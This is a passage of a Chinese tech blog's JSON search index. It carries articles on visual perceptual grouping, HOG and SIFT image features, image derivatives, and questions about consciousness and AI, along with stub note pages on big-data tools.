Matter","categories":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/categories/Math/"},{"name":"线性代数","slug":"Math/线性代数","permalink":"https://blog.mhuig.top/categories/Math/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0/"}],"tags":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/tags/Math/"},{"name":"线性代数","slug":"线性代数","permalink":"https://blog.mhuig.top/tags/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0/"},{"name":"特征向量","slug":"特征向量","permalink":"https://blog.mhuig.top/tags/%E7%89%B9%E5%BE%81%E5%90%91%E9%87%8F/"}]},{"title":"视知觉整合的认知和神经机制研究","slug":"ml/视知觉整合的认知和神经机制研究","date":"2019-10-02T01:00:46.000Z","updated":"2019-10-02T01:00:46.000Z","comments":true,"path":"p/63637a24/","link":"","permalink":"https://blog.mhuig.top/p/63637a24/","excerpt":"本文主要探讨知觉整合研究的新视角、轮廓线整合与纹理整合的神经机制以及知觉整合机制待解决的研究问题。","text":"本文主要探讨知觉整合研究的新视角、轮廓线整合与纹理整合的神经机制以及知觉整合机制待解决的研究问题。 知觉整合研究新视角结构极简取向知觉整合理论研究中最有目共睹的研究成果是格式塔思想，其最核心的原则是结构最简化原则，该思想可根据结构极简原则推测出格式塔知觉组织的其他特定原则。 格式塔心理学家认为理解知觉组织原则的关键在于将视网膜图像中的所有结构识别为视觉系统所敏感的知觉结构。 所谓结构极简原则，是指视觉系统将所有可获得信息组合为最简化的表征方式。 Leeuwenberg 提出了一套思想框架，视觉系统通过选择编码语言的最短表达式来描述刺激的可能组织，结构信息理论所负载的最短代码或者是最少信息即最短表达式。 生态学取向结构信息理论能够解释一些知觉组织现象，但是他不能回答的一个重要问题是，为什么视觉系统对某些特定的结构更为敏感。 为什么视觉系统对某些特定的结构敏感性有利于有机体发现外部世界的结构。 知觉整合生态学研究视角有一个普适性的基本原理：不论视觉系统通过哪种方式进行整合，确定哪些部分属于同一整体的判定，其结果更可能是对符合外部世界的真实状态的反应。 Kruer 和 Sigman 等人发现自然场景图像共线、共圆以及平行排布的统计学规律。 相关研究发现自然场景中相邻边缘间最主要的排布方式是对齐分布。首尾相连的线段对出现的概率要远远高于边对边的线段对，而且他们在空间比例不变性维度上有质的差异。 计算模型取向一般来说，计算模型至少包括两个相关的计算理论水平：宏观水平的整体框架以及微观水平的特定机制。 在宏观水平，计算理论的目标是在各种结构类型中找出最适合用于计算观察者所看到结构的整体框架，从而服务于知觉整合分析。 在微观层面，计算理论主要聚焦于具体的计算元素以及元素间的相互关系。与知觉整合相关的一个计算模型来自于环路循环连接网络：一个类似神经元元素组成的前馈和反馈连接的构型。 有研究者进一步推测，大脑的物理格式塔是基于分布在皮层中的动态电磁场。 所谓对称环路循环网络，是指网络中任意单位对之间的双向连接方向都有相同的权重。该网络总会收敛到均衡状态，使得信息约束满足各向同性至物理最小能量。 神经机制研究取向知觉整合神经机制研究的目标是探究促使知觉整合发生的实际神经活动的本质。 以往关于初级视皮层简单神经元本质的研究说明功能和生理学研究相互依赖的最好例子。Hubel 和 Wiesel 在对猫的研究中发现外侧膝状体和初级视皮层中的单个神经元对简单的刺激属性（如朝向、运动方向等）具有选择性反应，他们将此解释为 “特征探测器”（如线条、边缘探测器）。 当研究者在经典感受野内呈现偏好朝向的随机运动点模式时，他们发现神经元反应与运动方向的倒 U 关系（最优朝向反应最强，随着与最优朝向顺时针或逆时针偏转越来越大时，神经元反应越来越小）。 结果表明神经元不仅仅对其感受野内的基本刺激属性有反应，单个神经元活动会受到周围神经元的影响，提示着神经元还表征格式塔的相关属性。 轮廓线整合的神经机制研究者发现初级视皮层中的神经元不仅受到经典感受野内刺激的影响，还受到感受野外刺激的影响，单个神经元的活动会受到神经元之间相互作用的调节。虽然感受野外的线段本身不会诱发神经元的反应，但是当感受野外的线段与感受野内线段成共线关系时，神经元的反应会增强，而且感受野外线段数量越多，其发放强度越大。 Field 等人根据其系列结果提出了 “联合野” 概念，他们的理论认为具有相似朝向选择性的神经元之间会具有选择性的相互作用，当这些神经元的排布方式违反这种规则时，这种促进和抑制的链接使得大脑完成对轮廓线信息的编码。 视觉系统在长期的进化发展过程中受到环境的交互影响，外界环境优化了视觉系统对环境中具有最高统计概率的刺激或刺激模式的反应机制。 研究者提出轮廓整合的神经实现基础是通过初级视皮层神经元间长距离兴奋性连接网络组成的 “联合野” 所实现的，然而最新的研究认为实现 “联合野” 还可能需要来自高级皮层自上而下对初级皮层的反馈作用。 纹理整合的神经机制神经元感受野中的纹理朝向与外周非经典感受野内的纹理朝向成正交关系时，会使得具有朝向信息的纹理边界线被 “朝向对抗” 神经元探测到。 目前 “朝向对抗” 神经元还没有被证实。 研究提示，各层级视皮层的前馈和水平投射可以对感受野内进行中心 - 外周比较，从而使得早期视皮层实现对较小空间范围内的同向抑制，较高级视皮层实现对较大空间范围内的同向抑制；反馈连接则将较高级皮层的区域填充信号反馈传回到低级视皮层实现同向兴奋。 研究者在多分层的层级视觉框架中通过多个空间尺度的特征地图架构了纹理分隔计算模型，实现了对纹理分隔任务的加工。 关于图形背景分割两阶段理论：该理论提出的第一个阶段是边界探测，纹理定义的边界线首先由具有相似偏好神经元间的相互抑制机制所探测到，该理论得到了实验证据的支持，研究者发现初级和较高级视皮质表层的神经元在很短时间内对图形边界的反应更强。第二个阶段是区域填充，该模型的区域填充过程始于存在于视觉系统多个空间尺度中的特征探测器，然后这些神经元会将信号反馈回早期视皮层的神经元，区域填充的结果是初级视皮层以活动增强的方式表征图像区域。研究者提出通过 NMDA 受体以及存在反馈链接并投射到第 1 层和第 5 层深层和表层神经元的树突共同作用实现将调制信号限制在激活强度最大的神经元群体，即图像表征区域。通过两种机制的共同作用，视觉系统通过对图形增强背景抑制的编码模式实现对图形背景的分割，从而实现对图形的知觉以及准确完成行为任务。 知觉整合机制待解决的研究问题视知觉整合的加工时程视知觉整合与注意麻醉情况下的无意识状态不能进行轮廓整合 自下而上与自上而下初级视皮层是否表征轮廓信息受限于知觉学习状态，只有当轮廓任务被学习之后，初级视皮层才能表征轮廓信息。","categories":[{"name":"机器学习","slug":"机器学习","permalink":"https://blog.mhuig.top/categories/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/"},{"name":"机器视觉","slug":"机器学习/机器视觉","permalink":"https://blog.mhuig.top/categories/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/%E6%9C%BA%E5%99%A8%E8%A7%86%E8%A7%89/"}],"tags":[{"name":"视知觉","slug":"视知觉","permalink":"https://blog.mhuig.top/tags/%E8%A7%86%E7%9F%A5%E8%A7%89/"}]},{"title":"视知觉整合","slug":"ml/视知觉整合","date":"2019-10-01T11:51:37.000Z","updated":"2019-10-01T11:51:37.000Z","comments":true,"path":"p/4c2deb5e/","link":"","permalink":"https://blog.mhuig.top/p/4c2deb5e/","excerpt":"为了满足生存和生活的需要，人类需随时对外界环境中的客体信息进行高效地识别并与之产生交互。然而，由于视觉系统的固有组织属性，视觉系统必须提供一个强有力的机制快速地从海量的碎片式信息中准确识别出目标客体，这是视觉系统面临的一大挑战。","text":"为了满足生存和生活的需要，人类需随时对外界环境中的客体信息进行高效地识别并与之产生交互。然而，由于视觉系统的固有组织属性，视觉系统必须提供一个强有力的机制快速地从海量的碎片式信息中准确识别出目标客体，这是视觉系统面临的一大挑战。 视知觉整合（visual perceptual grouping）是指视觉系统将场景中属于同一客体或模式的离散元素组合并与其他客体或模式及背景区分的过程。 视知觉整合通常被认为是低级感觉加工和高级知觉加工（如客体、场景或事件加工等）间的功能桥梁。 视知觉整合与知觉组织当视网膜上的信息经由外侧膝状体首次进入初级视觉皮层时，神经元群组会对落在其感受野内的局部信号进行表征，如客体的轮廓线、纹理，在大多数情况下，同一个客体的不同部分会由具有不同调谐属性的神经元来表征。这是由于初级视觉皮层单个神经元的感受野很小且仅编码特定特征，当客体的大小大于单个神经元的感受野范围时，同一个客体的不同部分会由不同神经元来表征。比如，同一个客体的轮廓线会以线段的方式在具有不同朝向调谐属性的神经元来表征。 理论上这会严重破坏视觉信息的完整性，但事实上人们始终能知觉到排列有序的不同客体和背景信息，而不是一堆没有组织结构的局部信息的集合。 在这个过程中，视觉系统所面临的第一个挑战是，人们如何将属于同一个客体的元素从嘈杂的背景中提取整合并与其他客体及背景信息区分开来，即大脑如何完成知觉整合过程。 知觉整合对客体识别及其与环境交互都很重要。视觉系统的内在结构属性使得外界信息始于碎片式表征，然而我们最终知觉到的是排布有序的外部世界。 研究表明灵长类动物在刺激出现后 150ms 内即可识别出自然场景中的客体，一种观点认为这是因为视觉系统具有一套强有力的机制能高效完成整合。 视觉系统面临的最首要的知觉组织问题是判断视网膜上的哪些色块或者亮度块集合属于同一个或同一群客体。 在视觉系统加工的过程中，视觉系统首先需要将输入的离散信号准确地组织为后续信息加工的整体单元，即知觉组织加工。知觉组织是后续客体识别、注意分配等高级加工的基础。 研究历史1923 年，韦德海默提出了知觉组织和知觉整合问题，试图阐述清楚知觉组织最根本的定律。最具有普世性的核心定律是所谓的极简定律，即大脑具有看见最简单形状的倾向。 20 世纪五六十年代，视觉科学有了革命性的发展，尤其是单细胞电生理记录技术和计算模型的发展。Hubel 和 Wiesel 等人发现初级视皮层的神经元对基本视觉特征（如特定方向的边缘）具有选择性反应。 Campbell 等人使用线性系统方法对视觉加工过程进行建模并取得了很大进展。 当代知觉组织研究还发展出了新的间接测量方法，并从实验心理学中借鉴了标准的测量范式，在测量指标上，借鉴了心理物理学的阈值和无偏差反应指标等。 当代视知觉整合研究进展共同区域律共同区域律是指观察者会倾向于将同一个边界范围内的元素知觉为整体。 具体来说，当离散元素处于同一个连续同质的颜色或纹理空间区域内，或处于同一个边界线内，这些离散元素会基于共同区域进行整合，从而被知觉为整体。 如果两个元素都处于同一个图像区域内，那么同偶然出现在一个空间区域内的元素相比，这两个元素属于同一个客体的概率更高。 元素连通律当两个元素间存在第三个元素将其联通时，观察者会倾向于将这两个元素知觉为整体，即所谓的元素连通律。 同步律亮度或运动方向的共同性会诱发整合。 研究还发现即便元素运动方向不相关，元素间也能根据他们在出现时间上的同步性进行整合。 同步律是新的整合原则，不能被已知的视觉机制所解释，并存在争议。 当代知觉整合范式的研究进展早期知觉整合研究通过简单图片分别研究整合的关键因素，然而日常生活中的视觉场景并不是如此简单。 外部世界的典型视觉场景投影在视网膜形成二维图像，该图像由不同的亮度、颜色、形状、纹理等大量图形元素组成。其中边界线为客体的二维和三维形状提供了至关重要的信息。对于连通的没有受遮挡的客体来说，客体的边缘线在视网膜上投射为简单的闭合曲线，该曲线本身即足以形成完整的二维至三维形状知觉。 然而，视觉场景中经常存在遮挡，或存在客体与背景的亮度或颜色对比度低等情况，导致投射在视网膜上的轮廓线线段就已经变得碎片化了，而且因为视觉系统自身的固有结构属性，这种零碎的信息在大脑中呈碎片化表征。为完成识别，视觉系统需将轮廓线线段进行整合。此外，作为替代方案，区域整合也为也为客体识别提供了重要的线索，即视觉系统将轮廓线内部的刺激信息根据相似性原则进行整合。 不论是轮廓边界线还是区块纹理，信息首先进入初级视觉皮层都是碎片化式的表征，那么视觉系统面临的一个根本的重要任务是如何将这些信息重组成我们所感知到的排列有序的客体知觉。","categories":[{"name":"机器学习","slug":"机器学习","permalink":"https://blog.mhuig.top/categories/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/"},{"name":"机器视觉","slug":"机器学习/机器视觉","permalink":"https://blog.mhuig.top/categories/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/%E6%9C%BA%E5%99%A8%E8%A7%86%E8%A7%89/"}],"tags":[{"name":"视知觉","slug":"视知觉","permalink":"https://blog.mhuig.top/tags/%E8%A7%86%E7%9F%A5%E8%A7%89/"}]},{"title":"","slug":"notes/Django","date":"2019-09-21T23:56:00.000Z","updated":"2022-05-12T23:56:00.000Z","comments":false,"path":"p/notes-django/","link":"","permalink":"https://blog.mhuig.top/p/notes-django/","excerpt":"","text":".fa-secondary{opacity:.4} Django Django 开始阅读","categories":[{"name":"Web","slug":"Web","permalink":"https://blog.mhuig.top/categories/Web/"},{"name":"Django","slug":"Web/Django","permalink":"https://blog.mhuig.top/categories/Web/Django/"}],"tags":[{"name":"Django","slug":"Django","permalink":"https://blog.mhuig.top/tags/Django/"}]},{"title":"","slug":"notes/CentOS","date":"2019-09-19T23:56:00.000Z","updated":"2022-05-12T23:56:00.000Z","comments":false,"path":"p/notes-centos/","link":"","permalink":"https://blog.mhuig.top/p/notes-centos/","excerpt":"","text":"CentOS CentOS 开始阅读","categories":[{"name":"操作系统","slug":"操作系统","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/"},{"name":"CentOS","slug":"操作系统/CentOS","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/CentOS/"}],"tags":[{"name":"CentOS","slug":"CentOS","permalink":"https://blog.mhuig.top/tags/CentOS/"}]},{"title":"","slug":"notes/Echarts","date":"2019-09-19T07:56:00.000Z","updated":"2022-05-12T23:56:00.000Z","comments":false,"path":"p/notes-echarts/","link":"","permalink":"https://blog.mhuig.top/p/notes-echarts/","excerpt":"","text":".fa-secondary{opacity:.4} Echarts Echarts 开始阅读","categories":[{"name":"大数据","slug":"大数据","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"},{"name":"Echarts","slug":"大数据/Echarts","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Echarts/"}],"tags":[{"name":"Echarts","slug":"Echarts","permalink":"https://blog.mhuig.top/tags/Echarts/"}]},{"title":"","slug":"notes/Azkaban","date":"2019-09-19T06:56:00.000Z","updated":"2022-05-12T23:56:00.000Z","comments":false,"path":"p/notes-azkaban/","link":"","permalink":"https://blog.mhuig.top/p/notes-azkaban/","excerpt":"","text":".fa-secondary{opacity:.4} Azkaban Azkaban 开始阅读","categories":[{"name":"大数据","slug":"大数据","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"},{"name":"Azkaban","slug":"大数据/Azkaban","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Azkaban/"}],"tags":[{"name":"Azkaban","slug":"Azkaban","permalink":"https://blog.mhuig.top/tags/Azkaban/"}]},{"title":"","slug":"notes/Sqoop","date":"2019-09-19T05:56:00.000Z","updated":"2022-05-12T23:56:00.000Z","comments":false,"path":"p/notes-sqoop/","link":"","permalink":"https://blog.mhuig.top/p/notes-sqoop/","excerpt":"","text":".fa-secondary{opacity:.4} Sqoop Sqoop 开始阅读","categories":[{"name":"大数据","slug":"大数据","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"},{"name":"Sqoop","slug":"大数据/Sqoop","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Sqoop/"}],"tags":[{"name":"Sqoop","slug":"Sqoop","permalink":"https://blog.mhuig.top/tags/Sqoop/"}]},{"title":"","slug":"notes/Kafka","date":"2019-09-19T04:56:00.000Z","updated":"2022-05-12T23:56:00.000Z","comments":false,"path":"p/notes-kafka/","link":"","permalink":"https://blog.mhuig.top/p/notes-kafka/","excerpt":"","text":".fa-secondary{opacity:.4} Kafka Kafka 开始阅读","categories":[{"name":"大数据","slug":"大数据","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"},{"name":"Kafka","slug":"大数据/Kafka","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Kafka/"}],"tags":[{"name":"Kafka","slug":"Kafka","permalink":"https://blog.mhuig.top/tags/Kafka/"}]},{"title":"","slug":"notes/Flume","date":"2019-09-19T02:56:00.000Z","updated":"2022-05-12T23:56:00.000Z","comments":false,"path":"p/notes-flume/","link":"","permalink":"https://blog.mhuig.top/p/notes-flume/","excerpt":"","text":".fa-secondary{opacity:.4} Flume Flume 开始阅读","categories":[{"name":"大数据","slug":"大数据","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"},{"name":"Flume","slug":"大数据/Flume","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Flume/"}],"tags":[{"name":"Flume","slug":"Flume","permalink":"https://blog.mhuig.top/tags/Flume/"}]},{"title":"","slug":"notes/Hive","date":"2019-09-19T01:56:00.000Z","updated":"2022-05-12T23:56:00.000Z","comments":false,"path":"p/notes-hive/","link":"","permalink":"https://blog.mhuig.top/p/notes-hive/","excerpt":"","text":".fa-secondary{opacity:.4} Hive Hive 开始阅读","categories":[{"name":"大数据","slug":"大数据","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"},{"name":"Hive","slug":"大数据/Hive","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Hive/"}],"tags":[{"name":"Hive","slug":"Hive","permalink":"https://blog.mhuig.top/tags/Hive/"}]},{"title":"","slug":"notes/Hadoop","date":"2019-09-19T00:56:00.000Z","updated":"2022-05-12T23:56:00.000Z","comments":false,"path":"p/notes-hadoop/","link":"","permalink":"https://blog.mhuig.top/p/notes-hadoop/","excerpt":"","text":".fa-secondary{opacity:.4} Hadoop Hadoop 开始阅读","categories":[{"name":"大数据","slug":"大数据","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"},{"name":"Hadoop","slug":"大数据/Hadoop","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Hadoop/"}],"tags":[{"name":"Hadoop","slug":"Hadoop","permalink":"https://blog.mhuig.top/tags/Hadoop/"}]},{"title":"","slug":"notes/Zookeeper","date":"2019-09-18T23:56:00.000Z","updated":"2022-05-12T23:56:00.000Z","comments":false,"path":"p/notes-zookeeper/","link":"","permalink":"https://blog.mhuig.top/p/notes-zookeeper/","excerpt":"","text":".fa-secondary{opacity:.4} Zookeeper Zookeeper 开始阅读","categories":[{"name":"大数据","slug":"大数据","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"},{"name":"Zookeeper","slug":"大数据/Zookeeper","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Zookeeper/"}],"tags":[{"name":"Zookeeper","slug":"Zookeeper","permalink":"https://blog.mhuig.top/tags/Zookeeper/"}]},{"title":"特征和分类器","slug":"ml/特征和分类器","date":"2019-09-12T03:19:19.000Z","updated":"2019-09-12T03:19:19.000Z","comments":true,"path":"p/483290b5/","link":"","permalink":"https://blog.mhuig.top/p/483290b5/","excerpt":"特征提取和分类是典型计算机视觉系统的两个关键阶段。 视觉系统的准确性、稳健性和效率在很大程度上取决于图像特征，和分类器的质量。因此，目标是从输入图像中提取信息丰富的、可靠的特征，以便能够开发出很大程度上独立于领域理论的分类。","text":"特征提取和分类是典型计算机视觉系统的两个关键阶段。 视觉系统的准确性、稳健性和效率在很大程度上取决于图像特征，和分类器的质量。因此，目标是从输入图像中提取信息丰富的、可靠的特征，以便能够开发出很大程度上独立于领域理论的分类。 特征特征是任何独特的方面或特性，用于解决与特定应用相关的计算任务。 n 个特征的组合可以表示成 n 维向量，称为特征向量。特征向量的质量取决于其区分不同类别的图像样本的能力。 来自同一类的图像样本应该有相似的特征值，来自不同类的图像应具有不同的特征值。 分类器分类器是现代计算机视觉和模式识别的核心。 分类器的任务是使用特征向量对图像或感兴趣区域（RoI）划分类别。 分类任务的困难程度取决于来自相同类别的图像的特征值的可变性，以及相对于来自不同类别图像的特征值的差异性。 但是，完美的分类性能通常是不可能的。这主要是因为： 噪声（以阴影、遮挡、透视扭曲等形式） 异常值 模糊性 缺少标签 仅有小训练样本可用 训练数据样本中正 / 负覆盖的不平衡 传统特征描述符传统（手工设计）特征提取方法可分为两大类： 全局 局部 全局特征提取方法定义了一组有效描述整个图像的全局特征。因此形状细节被忽略。全局特征也不适用于识别部分遮挡的对象。 局部特征提取方法提取关键点周围的局部区域，由此可以更好的处理遮挡。 检测关键点，并在他们周围构建描述符的方法： 局部描述符（如 HOG、SIFT、SURF、FREAK、ORB、BRISK、BRIEF、LIOP） 方向梯度直方图HOG 是一个特征描述符，用于自动检测图像中的对象。HOG 描述符对图像中局部部分的梯度方向的分布进行编码。 HOG 背后的想法是可以通过边缘方向的直方图来描述图像内的对象外观和形状。 1. 梯度计算第一步是计算梯度值。在图像的水平和垂直方向上，执行一维中心点离散微分模板。具体的说，该方法需要用以下滤波器内核处理灰度图像： 因此给定一个图像，以下卷积操作（表示为 ）得出图像在和方向的导数： 因此，梯度的方向和梯度的大小计算如下： CNN 也在层中使用卷积运算，然而主要区别在于不使用手工设计的滤波器，CNN 使用可训练的滤波器，使其具有高度的自适应性。 CNN 也在层中使用卷积运算，然而主要区别在于不使用手工设计的滤波器，CNN 使用可训练的滤波器，使其具有高度的自适应性。 2. 单元方向直方图第二步是计算单元直方图。首先将图像分成小的（通常是 8X8 像素）单元。每个单元都有固定数量的梯度方向区间，他们均匀分布在。或。之间，具体取决于梯度是有符号的还是无符号的。 单元内的每一个像素基于该像素处梯度的模对每一个梯度方向区间偷加权票。对于投票权重，可以是梯度大小，梯度大小的平方根或梯度大小的平方。 3. 描述符块为了处理光照和对比度的变化，通过将单元组合在一起形成更大的空间上相连的块，局部的归一化梯度强度。然后，HOG 描述符是来自所有块区域内的、归一化的单元直方图部件的向量。 4. 块的归一化最后一步是块描述符的归一化。设 v 是包含给定块中所有直方图的非归一化向量，‖为它的 (k) 阶范数（(k=1,2) ），(\\epsilon) 是一个小常量。归一化因子可以是如下之一： 范数或者 范数或者 范数平方根还有另一个归一化因子 L2-Hys, 它通过削减 v 的 L2 范数得到（将 v 的最大值限制为 0.2），然后重新归一化。 最终的图像 / RoI 描述符是通过连接所有归一化的块描述符而形成的。 L2 范数、L2-Hys 和 L1 范数平方根（L1-sqrt）归一化方法提供了类似的性能，而 L1 范数提供了可靠性稍差的性能。 尺度不变特征变换SIFT [Lowe,2004] 提供了一组对象的特征，这些特征对于对象缩放和旋转是健壮的。 SIFT 算法由四个主要步骤组成。 1. 尺度空间的极值侦测第一步旨在确定对缩放和方向不变的潜在关键点。 SIFT 使用高斯差分（DoG）来检测尺度空间中关键点中的位置。 高斯差分是将两个不同尺度的图像（其中一个尺度为 , 另一个是其 k 倍，即）的高斯模糊进行差分得到的。 2. 关键点精确定位3. 方向定位4. 关键点描述符","categories":[{"name":"机器学习","slug":"机器学习","permalink":"https://blog.mhuig.top/categories/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/"},{"name":"机器视觉","slug":"机器学习/机器视觉","permalink":"https://blog.mhuig.top/categories/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/%E6%9C%BA%E5%99%A8%E8%A7%86%E8%A7%89/"}],"tags":[{"name":"机器学习","slug":"机器学习","permalink":"https://blog.mhuig.top/tags/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/"},{"name":"机器视觉","slug":"机器视觉","permalink":"https://blog.mhuig.top/tags/%E6%9C%BA%E5%99%A8%E8%A7%86%E8%A7%89/"},{"name":"分类器","slug":"分类器","permalink":"https://blog.mhuig.top/tags/%E5%88%86%E7%B1%BB%E5%99%A8/"},{"name":"特征","slug":"特征","permalink":"https://blog.mhuig.top/tags/%E7%89%B9%E5%BE%81/"}]},{"title":"图像导数","slug":"ml/图像导数","date":"2019-09-12T02:29:46.000Z","updated":"2019-09-12T02:29:46.000Z","comments":true,"path":"p/9bc3b11e/","link":"","permalink":"https://blog.mhuig.top/p/9bc3b11e/","excerpt":"在图像中，边缘可以看做是位于一阶导数较大的像素处，因此，我们可以求图像的一阶导数来确定图像的边缘，像 sobel 算子等一系列算子都是基于这个思想的。","text":"在图像中，边缘可以看做是位于一阶导数较大的像素处，因此，我们可以求图像的一阶导数来确定图像的边缘，像 sobel 算子等一系列算子都是基于这个思想的。 如下图 a 表示函数在边沿的时候关系，求导得 b 图，可知边沿可就是函数的极值点，对应二阶导数为 0 处，如图 c 的二阶导图。 关于导数总结如下： （1）一阶导数通常图像中产生较粗的边缘 （2）二阶导数对精细细节，如细线、孤立点和噪声有较强的响应 （3）二阶导数在灰度斜坡和灰度台阶过度处会产生双边沿响应 （4）二阶导数的符号可以确定边缘的过渡是从亮到暗还是从暗到亮 （5）选导数提取边沿之前最好是做下图像的平滑，导数对噪声比较敏感","categories":[{"name":"机器学习","slug":"机器学习","permalink":"https://blog.mhuig.top/categories/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/"},{"name":"机器视觉","slug":"机器学习/机器视觉","permalink":"https://blog.mhuig.top/categories/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/%E6%9C%BA%E5%99%A8%E8%A7%86%E8%A7%89/"}],"tags":[{"name":"机器学习","slug":"机器学习","permalink":"https://blog.mhuig.top/tags/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/"},{"name":"机器视觉","slug":"机器视觉","permalink":"https://blog.mhuig.top/tags/%E6%9C%BA%E5%99%A8%E8%A7%86%E8%A7%89/"},{"name":"图像","slug":"图像","permalink":"https://blog.mhuig.top/tags/%E5%9B%BE%E5%83%8F/"},{"name":"数学模型","slug":"数学模型","permalink":"https://blog.mhuig.top/tags/%E6%95%B0%E5%AD%A6%E6%A8%A1%E5%9E%8B/"}]},{"title":"意识、脑与人工智能 十大科学问题","slug":"ml/意识、脑与人工智能十大科学问题","date":"2019-09-12T00:22:25.000Z","updated":"2019-09-12T00:22:25.000Z","comments":true,"path":"p/c270974/","link":"","permalink":"https://blog.mhuig.top/p/c270974/","excerpt":"2018 年 9 月，浙江大学发布 “双脑计划”，布局脑科学与人工智能的会聚研究，聚集全校生命科学、信息科学、物质科学和哲学社会科学众多领域的专家学者，开启探索脑认知、意识及智能的本质和规律。2019 年 4 月，浙江大学召开 “意识、脑与人工智能” 圆桌论坛，吴朝晖院士、段树民院士与倪梁康教授（文科资深教授）分别围绕 “意识” 问题，从计算机科学、脑科学、哲学角度作主旨报告，提出了一系列具有挑战性的跨学科问题。在此基础上，浙江大学 “双脑计划” 相关团队组织哲学、计算机科学、神经与脑科学、心理学、社会学等领域专家，聚焦意识与脑、意识与人工智能方面的重大问题，经过反复讨论、不断碰撞、深入凝练，最终提出了十大具有前沿性、挑战性的科学问题，旨在引领国内外学术界的思考，推动意识、脑与人工智能交叉领域的研究。","text":"2018 年 9 月，浙江大学发布 “双脑计划”，布局脑科学与人工智能的会聚研究，聚集全校生命科学、信息科学、物质科学和哲学社会科学众多领域的专家学者，开启探索脑认知、意识及智能的本质和规律。2019 年 4 月，浙江大学召开 “意识、脑与人工智能” 圆桌论坛，吴朝晖院士、段树民院士与倪梁康教授（文科资深教授）分别围绕 “意识” 问题，从计算机科学、脑科学、哲学角度作主旨报告，提出了一系列具有挑战性的跨学科问题。在此基础上，浙江大学 “双脑计划” 相关团队组织哲学、计算机科学、神经与脑科学、心理学、社会学等领域专家，聚焦意识与脑、意识与人工智能方面的重大问题，经过反复讨论、不断碰撞、深入凝练，最终提出了十大具有前沿性、挑战性的科学问题，旨在引领国内外学术界的思考，推动意识、脑与人工智能交叉领域的研究。 “意识、脑与人工智能” 十大科学问题一、意识的生物学基础是什么？意识曾仅是哲学家的研究领域，但随着神经科学发展，科学家逐渐参与到意识本质的研究中。目前大部分观点认为，意识产生的物质基础是神经元，其生物学基础是脑中多个神经网络间的相互作用；也有研究认为意识的产生由相对独立的脑结构（称为意识开关）来主导。意识的生物学基础是什么，及其衍生出来的一系列问题有待进一步探究。例如，意识产生的物质基础是否唯一，能否在神经元以外的物质载体上制造出意识等。 二、“人工意识” 是否可能？从人工智能向人工意识的发展，必须考虑将人工情感和人工意欲的因素纳入人工意识和人工心灵系统的可能性。可尝试通过对神经回路的复杂性的把控来解决所有类型的意识涌现（表象、情感、意志）的复杂性，并在神经系统中找到作为意识之自身觉知（qualia）的对应项。 三、机器如何理解人类的情感表达？在人机共生社会，需要解决机器人与人类的自然交互问题，以使得机器人可以真正融入人们的生活，产生共情、共鸣和自然的社会行为。其中一个重要的挑战是机器如何理解人类的情感表达。 四、强人工智能的心理机制是什么？弱人工智能在解决特定领域问题中，展现出了强大到可以比肩甚至超越人类的能力，但也暴露出通用性弱、学习效率低等一系列问题。解决这些问题需要回归强人工智能的 “初心”，即研究人类智能的心理机制是什么，探索人类为何能利用有限的算力实现通用智能、如何在小数据条件下完成高效学习等问题。 五、意识的信息机制是什么？意识是指一个人体验自身存在的能力，而不仅仅是记录或者像机器人那样对刺激做出反应。研究意识的信息处理机制，需要重点关注信息处理的主观性（subjective）、结构性（structured）、特有性（specific）、统一性（unified）和确定性（definitive）等问题。 六、脑机融合能否实现超级智能？脑机融合是基于脑机接口技术，实现脑与机的双向交互、相互适应及协同工作，最终达到生物智能和机器智能的融合，其目标是实现更强大的智能形态。鉴于机器智能与人类智能的互补性，如何实现生物智能和机器智能的互联互通，融合各自所长，创造出性能更强的智能形态是核心问题。 七、情绪情感的脑机制是什么？情绪是个体对一定程度的复杂情况做出反应的特定状态。情绪情感的产生涉及感觉、知觉、动机、奖赏、评估、感觉 - 